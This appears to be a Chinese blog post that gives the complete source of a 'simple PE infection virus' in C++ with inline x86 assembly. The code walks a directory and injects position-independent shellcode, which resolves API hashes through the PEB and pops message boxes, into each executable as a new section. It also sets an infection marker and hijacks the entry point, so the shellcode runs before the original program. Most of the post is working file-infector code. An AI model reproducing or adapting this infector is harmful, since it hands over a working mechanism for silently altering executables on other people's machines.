一个简单的PE感染病毒

/*----------2015-09-28 Update ----------*/

将shellcode多线程执行

使用CreateThread函数开辟子线程

子线程会开辟新的堆栈,需要进行新的压栈和函数寻找


#pragma region shellcode
	__asm{
		
		/*-----ShellCode主线程------*/
		shellStart: 
			nop
			nop
			nop
			nop
			nop
			CLD					; clear flag DF
		
		;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			//push 0x4fd18963		;hash of ExitProcess
			push 0x2729f8bb		;hash of CreateThread
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 


		; make some stack space
			xor ebx,ebx
			mov bh, 0x04 			 
			sub esp, ebx 
			
		
		; push a pointer to "user32" onto stack 
			mov bx, 0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list         
			mov ecx,[ecx]                  ; ---win7多此一步
			mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll
			
						
		find_lib_functions: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions 
			xchg eax, ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax, ebp 			; restore current hash, and update ebp 
									; with base address of user32.dll 
			
			//找到函数名表的绝对地址
		find_functions: 
			pushad 						; preserve registers 
			mov eax, [ebp + 0x3c]		; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx, ebp 				; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx, ebp 				; ebx = absolute addr of names table 
			xor edi, edi 				; edi will count through the functions 


			//指向函数名表中的下一个函数
		next_function_loop: 
			inc edi 					; increment function counter 
			mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi, ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			

			//对所指向的函数进行hash循环
		hash_loop: 
			movsx eax, byte ptr[esi]
			cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop


		compare_hash:	
			cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop 
			
		 
			mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx, ebp 				; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx, ebp 				; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax, ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad						; restore registers 
					 					; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 


		CreateThread_call:
			call reset
		reset:
			pop ebx
			sub ebx,offset reset
			lea eax, [ebx + MessageBox_call]
			
			xor ebx,ebx
			
			push ebx
			push ebx			 
			push ebx
			push eax
			push ebx     
			push ebx
			call [edi-0x08]		

			xor ebx,ebx
			push ebx			 // cut string '\0'
			push 0x21
			push 0xa7cbc3ba
			push 0xdac0c2ba      //push 郝磊好帅!
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0		 //push 来自QQ

			mov eax,esp			 //load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04]		;//call MessageboxA
			
//-----------------------------------------------------------------//
		/*-------ShellCode子线程--------*/
		MessageBox_call:
			nop
			nop
			nop
			nop
			nop
			CLD					; clear flag DF
		;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			//push 0x4fd18963		;hash of ExitProcess
			push 0x2729f8bb		;hash of CreateThread
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 

	
		; make some stack space
			xor ebx,ebx
			mov bh, 0x04 			 
			sub esp, ebx 
			
		
		; push a pointer to "user32" onto stack 
			mov bx, 0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list         
			mov ecx,[ecx]                  ; ---win7多此一步
			mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll
			
						
		find_lib_functions2: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions2 
			xchg eax, ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax, ebp 			; restore current hash, and update ebp 
									; with base address of user32.dll 
			
			//找到函数名表的绝对地址
		find_functions2: 
			pushad 						; preserve registers 
			mov eax, [ebp + 0x3c]		; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx, ebp 				; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx, ebp 				; ebx = absolute addr of names table 
			xor edi, edi 				; edi will count through the functions 


			//指向函数名表中的下一个函数
		next_function_loop2: 
			inc edi 					; increment function counter 
			mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi, ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			

			//对所指向的函数进行hash循环
		hash_loop2: 
			movsx eax, byte ptr[esi]
			cmp al,ah
			jz compare_hash2
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop2

		compare_hash2:	
			cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop2 
			
		 
			mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx, ebp 				; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx, ebp 				; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax, ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad						; restore registers 
					 					; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions2 
			

			xor ebx,ebx
			push ebx			// cut string
			push 0x21
			push 0xa7cbfcb8
			push 0xf1c9c2d5      //push 章神更帅!
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0

			mov eax,esp			//load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04] ;	//call MessageboxA
			//push ebx
			//call [edi - 0x08] ; // call ExitProcess
			
			nop
			nop
		    mov eax,0x12345678		;//任意地址,会被PE原入口地址覆盖
            jmp eax
	}





/-------

通过开辟一个新的节表放置shellcode

修改PE入口点到shellcode,并在shellcode中设置返回原PE入口点


2015-09-20       peic


PE文件格式参考资料:

http://bbs.pediy.com/showthread.php?t=21932

----------/


/***
	本程序只适用于载入基址定位的,非随机基址
	感染指定目录的PE文件
	添加了一个新节区
	弹出一个窗口
	2015.9.21		peic
***/


#pragma once
#include <Windows.h>
#include <stdio.h>
#include <assert.h>
#include <iostream>
using namespace std;

#define _MAX_PATH_ 100
#define INFECT_FLAG 0x1301C06		//19930118
char Location[_MAX_PATH_] = "d:\\Users\\Itachi\\Desktop\\PE";


//设置字节对齐
DWORD Align(DWORD size, DWORD Alignment)
{
	//Alignment不能为0
	assert(0 != Alignment);
	if(size % Alignment)
	{
		//size大小应该为内存中区块对齐值Alignment的整数倍,如果不是整数倍则扩充到整数倍
		//内存:Alignment = 0100h = 4KB
		//文件:Alignment = 200h = 512B
		size = (size / Alignment + 1) * Alignment;
	}
	return size;
}



//设置、检测感染标识,返回PE是否被感染
//将PE中的保留空间用来设置感染标识
//PIMAGE_DOS_HEADER是_IMAGE_DOS_HEADER这个结构体的指针
//函数传入的参数是PIMAGE_DOS_HEADER这个类型指针的地址,&进行引用传递表示形参的改变会影响到实参
BOOL SetInfectFlag(PIMAGE_DOS_HEADER &pDosHeader)
{
	if(*(DWORD*)pDosHeader->e_res2 == INFECT_FLAG)
	{
		printf("This PE file has been infected!\n");
		return FALSE;	//被感染
	}
	else
	{
		*(DWORD*)pDosHeader->e_res2 = INFECT_FLAG;
		return TRUE;	//未被感染
	}
}



//检查是否为PE文件,传入参数为OpenFile保存的文件内存映射地址lpMemory
BOOL IsPeFile(LPVOID lpMemory)
{
	//判断DOS的MZ头
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpMemory;
	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		printf("This file is not a PE file !\n");
		return FALSE;
	}

	//判断NT的PE头
	IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)lpMemory + pDosHeader->e_lfanew);
	if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		printf("This file is not a PE file !\n");
		return FALSE;
	}

	return TRUE;
}



//清理函数
void CloseAll(LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap)
{
	CloseHandle(hFile);
	CloseHandle(hMap);
	UnmapViewOfFile(lpMemory);
}



//打开文件,传入文件的绝对地址(引用传递)
//保存文件内存映射地址:lpMemory
BOOL OpenFile(char* szPath, LPVOID &lpMemory, HANDLE &hFile, HANDLE &hMap)
{
	//打开文件,得到一个文件的句柄
	hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile == INVALID_HANDLE_VALUE)
	{
		printf("Can not open the file, ErrorCode = %d\n",GetLastError());
		UnmapViewOfFile(lpMemory);
		return FALSE;
	}

	//将文件映射到内存,创建文件映射对象,得到映射对象的句柄
	hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
	if(!hMap)
	{
		printf("Can not created the file's MapObject! ErrorCode = %d\n", GetLastError());
		UnmapViewOfFile(lpMemory);
		CloseHandle(hFile);
		return FALSE;
	}

	//将文件数据对象映射到本进程的地址空间
	lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
	if(!lpMemory)
	{
		printf("Can not Map the file to Memory! ErrorCode = %d\n", GetLastError());
		UnmapViewOfFile(lpMemory);
		CloseHandle(hFile);
		CloseHandle(hMap);
		return FALSE;
	}

	return TRUE;
}



//感染PE文件
void InfectPE(char *szPath)
{
	LPVOID lpMemory;
	HANDLE hFile;
	HANDLE hMap;
	PIMAGE_NT_HEADERS pNtHeader;
	PIMAGE_DOS_HEADER pDosHeader;
#pragma region perpare
	//打开文件
	if(!OpenFile(szPath, lpMemory, hFile,hMap))
	{
		return;
	}
	pDosHeader = (PIMAGE_DOS_HEADER)lpMemory;

	//判断是否为PE文件
	if(!IsPeFile(lpMemory))
	{
		CloseAll(lpMemory,hFile,hMap);
		return;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader->e_lfanew + *(DWORD*)&pDosHeader);
	
	//设置感染标识,将文件标为感染了
	if(!SetInfectFlag(pDosHeader))
	{
		return;
	}

	//检查可用空间
	if((pNtHeader->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) 
				> pNtHeader->OptionalHeader.SizeOfHeaders)
	{
		CloseAll(lpMemory,hFile,hMap);
		return;
	}
#pragma endregion


	//新添加一个节表项
	PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHeader + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER pNewSecHeader = (PIMAGE_SECTION_HEADER)(pSecHeader + pNtHeader->FileHeader.NumberOfSections);
	PIMAGE_SECTION_HEADER pLastSecHeader = (PIMAGE_SECTION_HEADER)(pNewSecHeader - 1);


	/*** --------检查一直出错!!!!------------***

	//检查PE文件是否有附加数据
	DWORD index;
	//节区起始数据在文件中的偏移
	DWORD size = pSecHeader->PointerToRawData;
	for (index = 0; index < pNtHeader->FileHeader.NumberOfSections; index++)
	{
		size += Align(pSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment);
	}
	//有附加数据则返回退出
	if(size != GetFileSize(hFile, 0))
	{
		return;		
	}
	*/


	/*弹出对话框shellcode*/
	goto shellEnd;

#pragma region shellcode
	__asm{
		shellStart: 
			nop
			nop
			nop
			nop
			nop
			CLD					; clear flag DF
		;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			push 0x4fd18963		;hash of ExitProcess
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 

			

		; make some stack space
			xor ebx,ebx
			mov bh, 0x04 			 
			sub esp, ebx 
			


		
		; push a pointer to "user32" onto stack 
			mov bx, 0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list         
			mov ecx,[ecx]                  ; ---win7多此一步
			mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll
			
						
		find_lib_functions: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions 
			xchg eax, ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax, ebp 			; restore current hash, and update ebp 
									; with base address of user32.dll 
			
			
		find_functions: 
			pushad 						; preserve registers 
			mov eax, [ebp + 0x3c]		; eax = start of PE header 
			mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx, ebp 				; ecx = absolute addr of export table 
			mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx, ebp 				; ebx = absolute addr of names table 
			xor edi, edi 				; edi will count through the functions 

		next_function_loop: 
			inc edi 					; increment function counter 
			mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi, ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			
		hash_loop: 
			movsx eax, byte ptr[esi]
			cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop

		compare_hash:	
			cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop 
			
		 
			mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx, ebp 				; ebx = absolute addr of ordinals table 
			mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx, ebp 				; ebx = absolute addr of address table 
			add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax, ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad						; restore registers 
					 					; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 

		function_call:
			xor ebx,ebx

			push ebx			 // cut string '\0'
			push 0x21
			push 0xa7cbc3ba
			push 0xdac0c2ba      //push 波哥好帅!
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0		 //push 来自QQ

			mov eax,esp			 //load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04]		;//call MessageboxA
			
			xor ebx,ebx

			push ebx			// cut string
			push 0x21
			push 0xa7cbfcb8
			push 0xf1c9c2d5      //push 章神更帅!
			
			push ebx
			push 0x5151
			push 0xd4d7b4c0

			mov eax,esp			//load address of failwest
			push ebx	
			push eax
			add eax,12
			push eax 
			push ebx
			call [edi-0x04] ;	//call MessageboxA
			//push ebx
			//call [edi - 0x08] ; // call ExitProcess
			
			nop
			nop
		    mov eax,0x12345678		;//任意地址,会被PE原入口地址覆盖
            jmp eax
	}
#pragma endregion

	shellEnd:
	PBYTE* pShell;
	DWORD nShellLen;
	
	__asm
	{
		lea eax,shellStart
		mov pShell,eax
		lea ebx,shellEnd
		sub ebx,eax
		mov nShellLen,ebx
	}


	/*--------设置新节区的各个参数字段-------------*/
	memcpy(pNewSecHeader->Name, ".PEIC", 5);
	
	//新节区起始文件的偏移
	pNewSecHeader->PointerToRawData = 
		pLastSecHeader->PointerToRawData + Align(pLastSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.FileAlignment);
	//新节区的内存地址
	pNewSecHeader->VirtualAddress = 
		pLastSecHeader->VirtualAddress + Align(pLastSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment);
	
	//新节区的大小
	DWORD dwPayLoadSize  = nShellLen;
	pNewSecHeader->Misc.VirtualSize = dwPayLoadSize;
	pNewSecHeader->SizeOfRawData = 
		Align(dwPayLoadSize, pNtHeader->OptionalHeader.FileAlignment);
	
	//设置新节区的属性
	pNewSecHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
	
	//节区数目加1
	pNtHeader->FileHeader.NumberOfSections += 1;
	
	//修改PE大小
	//对齐后的节区总大小和PE映像装入内存后的总大小
	pNtHeader->OptionalHeader.SizeOfCode += 
		Align(pNewSecHeader->Misc.VirtualSize, pNtHeader->OptionalHeader.FileAlignment);
	pNtHeader->OptionalHeader.SizeOfImage += 
		Align(pNewSecHeader->SizeOfRawData, pNtHeader->OptionalHeader.SectionAlignment);

	//绑定导入表地址和大小清零
	pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
	pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
	
	
	//向PE中的新节区写入数据
	DWORD dwSize = 0;
	DWORD pFile = 0;
	//在文件中设置当前读写位置
	//从文件末尾开始开始计算偏移量
	pFile = SetFilePointer(hFile, 0, 0, FILE_END);
	//从文件指针指向的位置开始将数据写入到文件中
	WriteFile(hFile, pShell, nShellLen, &dwSize, NULL);		//如果写入成功,写入数据的大小将会保存在dwSize这个指针指向的内容中
	


	/*----改变PE的入口点---*/
	pFile = SetFilePointer(hFile, -6, 0, FILE_CURRENT);		//覆盖shellcode的返回地址,跳转回PE原入口点
	DWORD dwOldEntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase;
	WriteFile(hFile, &dwOldEntryPoint, 4, &dwSize, NULL);
	

	//写入剩余字节
	PBYTE pByte = (PBYTE)malloc(pNewSecHeader->SizeOfRawData-nShellLen);
	ZeroMemory(pByte, pNewSecHeader->SizeOfRawData-nShellLen);
	dwSize = 0;
	pFile = SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pByte, pNewSecHeader->SizeOfRawData-nShellLen, &dwSize, NULL);
	FlushFileBuffers(hFile);
	free(pByte);

	//设置新的PE入口点
	pNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSecHeader->VirtualAddress;
	//printf("新入口点: %X\n", pNewSecHeader->VirtualAddress);

	system("pause");
	//清理后续工作
	FlushViewOfFile(lpMemory, pNtHeader->OptionalHeader.SizeOfHeaders);
	CloseAll(lpMemory,hFile,hMap);
}


//扫描查找要感染的PE文件
void FindFile(char *szPath)
{
	WIN32_FIND_DATAA FindFileData;
	char szFileToFind[MAX_PATH] = {0};
	lstrcpyA(szFileToFind, szPath);
	lstrcatA(szFileToFind,"\\NOTEPAD.EXE");

	//查找目录下所有的文件
	HANDLE hFindFile = FindFirstFileA(szFileToFind, &FindFileData);
	if(hFindFile == INVALID_HANDLE_VALUE)
	{
		printf("FindFirstFileA Failed!\n");
		return;
	}
	do
	{
		char szNewPath[MAX_PATH] = {0};
		lstrcpyA(szNewPath, szPath);
		
		//首先判断是否为目录
		if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			if(!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, ".."))
			{}
			//查找下级目录
			else
			{
				lstrcatA(szNewPath,"\\");
				lstrcatA(szNewPath, FindFileData.cFileName);
				FindFile(szNewPath);
			}
		}
		//处理找到的文件
		else
		{
			char szPE[MAX_PATH] = {0};
			lstrcpyA(szPE,szNewPath);
			lstrcatA(szPE,"\\");
			lstrcatA(szPE,FindFileData.cFileName);
			//感染文件
			InfectPE(szPE);
		}
	}
	while(FindNextFileA(hFindFile,&FindFileData));
	
	FindClose(hFindFile);
}



int main()
{
	FindFile(Location);
	return 0;
}



你可能感兴趣的:(C语言,病毒,pe)